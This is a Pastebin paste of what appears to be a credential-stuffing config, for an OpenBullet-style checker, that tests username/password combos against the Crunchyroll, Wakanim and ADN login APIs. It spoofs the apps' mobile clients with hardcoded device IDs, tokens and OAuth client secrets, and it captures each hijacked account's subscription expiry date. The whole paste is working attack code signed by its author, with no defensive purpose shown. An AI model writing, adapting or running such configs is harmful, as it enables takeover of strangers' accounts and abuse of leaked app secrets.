Advertisement
Guest User

Untitled

a guest
Mar 25th, 2019
3,904
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.36 KB | None | 0 0
  1. ##Version: 1.2
  2. ##Changelog:
  3. ########## - Modification de la condition true/false sur la partie Wakanim
  4. SET VAR "Test" "0"
  5.  
  6. ###TEST D'un compte fonctionnel Crunchyroll
  7. REQUEST POST "https://api.crunchyroll.com/start_session.0.json" FALSE FALSE TRUE
  8. "locale=&device_id=00000000-39da-a8a8-2c9a-daeb28838c23&device_type=com.crunchyroll.crunchyroid&version=437&access_token=Scwg9PRRZ19iVwD"
  9.  
  10. PARSE SOURCE JSON "session_id" FALSE -> VAR "Session"
  11. REQUEST POST "https://api.crunchyroll.com/login.0.json" FALSE FALSE TRUE
  12. "account=<USER>&locale=enUS&password=<PASS>&version=3004.1&session_id=<Session>"
  13. IF "<SOURCE>" Contains "Incorrect login information"
  14. FUNCTION Compute "<Test>+1" -> VAR "Test"
  15. JUMP #NEXTSTEP1
  16. ENDIF
  17.  
  18. IF "<SOURCE>" Contains "anime|drama|manga"
  19. PARSE SOURCE LR "expires\":\"" "T" FALSE -> VAR "date"
  20. FUNCTION Replace "-" "/" FALSE "<date>" -> VAR "date"
  21. SET CAP "" "Crunchyroll <date>"
  22. ELSE
  23. FUNCTION Compute "<Test>+1" -> VAR "Test"
  24. JUMP #NEXTSTEP1
  25. ENDIF
  26. ###Fin du test Crunchyroll
  27.  
  28. ###TEST D'un compte fonctionnel Wakanim
  29. #NEXTSTEP1 REQUEST POST "https://account.wakanim.tv/core/connect/token" FALSE FALSE TRUE
  30. "client_id=wakanim.android.test2&grant_type=password&response_type=code+id_token+token&username=<USER>&password=<PASS>&scope=email+openid+profile+offline_access+read&redirect_uri=wakanimandroidapp%3A%2F%2Fcallback&nonce=c9086788-5a7c-4fd9-9ab6-b090408dd86e&state=7a03202d-6100-4814-b106-60e4a3e0dba6&client_secret=F5RB77Q5"
  31. HEADER "Content-type: application/x-www-form-urlencoded; charset=UTF-8"
  32. ACCEPT "*/*"
  33.  
  34. IF "<SOURCE>" Contains "access_token"
  35. PARSE SOURCE JSON "access_token" -> VAR "token"
  36. ELSE
  37. FUNCTION Compute "<Test>+1" -> VAR "Test"
  38. JUMP #NEXTSTEP2
  39. ENDIF
  40.  
  41. REQUEST GET "https://account.wakanim.tv/api/user" FALSE FALSE TRUE
  42. HEADER "Authorization: Bearer <token>"
  43. ACCEPT "*/*"
  44.  
  45. IF "<SOURCE>" Contains "isSVODAvailable\": true"
  46. PARSE SOURCE LR "svodEndDateUtc\": \"" "T" FALSE -> VAR "Renouvellement"
  47. FUNCTION Replace "-" "/" FALSE "<Renouvellement>" -> VAR "Renouvellement"
  48. SET CAP "" "Wakanim <Renouvellement>"
  49. ELSE
  50. FUNCTION Compute "<Test>+1" -> VAR "Test"
  51. JUMP #NEXTSTEP2
  52. ENDIF
  53. ###Fin du test Wakanim
  54.  
  55. ###TEST D'un compte fonctionnel ADN
  56. #NEXTSTEP2 REQUEST POST "https://animedigitalnetwork.fr/oauth/authenticate"
  57. "username=<USER>&scope=public%2Cemail%2Csubscription%2Cvideo_access&client_secret=9TEy9oaTWdykEZpQpzYGvsFnBocEDJoNLLnbBzGbaseoxouPx7Qire5vfDzDceGh&client_id=PzQ29NgdQqTFh8JUBTmvfqjhqqqvsRbL&grant_type=password&password=<PASS>&username=<USER>&scope=public%2Cemail%2Csubscription%2Cvideo_access&client_secret=9TEy9oaTWdykEZpQpzYGvsFnBocEDJoNLLnbBzGbaseoxouPx7Qire5vfDzDceGh&client_id=PzQ29NgdQqTFh8JUBTmvfqjhqqqvsRbL&grant_type=password&password=<PASS>&"
  58.  
  59. IF "<SOURCE>" Contains "{\"error\":\""
  60. FUNCTION Compute "<Test>+1" -> VAR "Test"
  61. JUMP #FIN
  62. ELSE
  63.  
  64. PARSE SOURCE JSON "access_token" False -> VAR "token"
  65.  
  66. REQUEST GET "https://animedigitalnetwork.fr/oauth/user/info"
  67. HEADER "Authorization: Bearer <token>"
  68.  
  69. IF "<SOURCE>" Contains "valid_until\":\""
  70. PARSE SOURCE LR "valid_until\":\"" "T" FALSE -> VAR "date"
  71. FUNCTION Replace "-" "/" FALSE "<date>" -> VAR "date"
  72. SET CAP "" "ADN <date>"
  73. ELSE
  74. FUNCTION Compute "<Test>+1" -> VAR "Test"
  75. JUMP #FIN
  76. ENDIF
  77. ###Fin du test ADN
  78.  
  79. #FIN PRINT By Zero@Hack-Life.net
  80. IF "<Test>" EqualTo "3"
  81. SET Status Fail
  82. ELSE
  83. SET STATUS SUCCESS
  84. ENDIF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement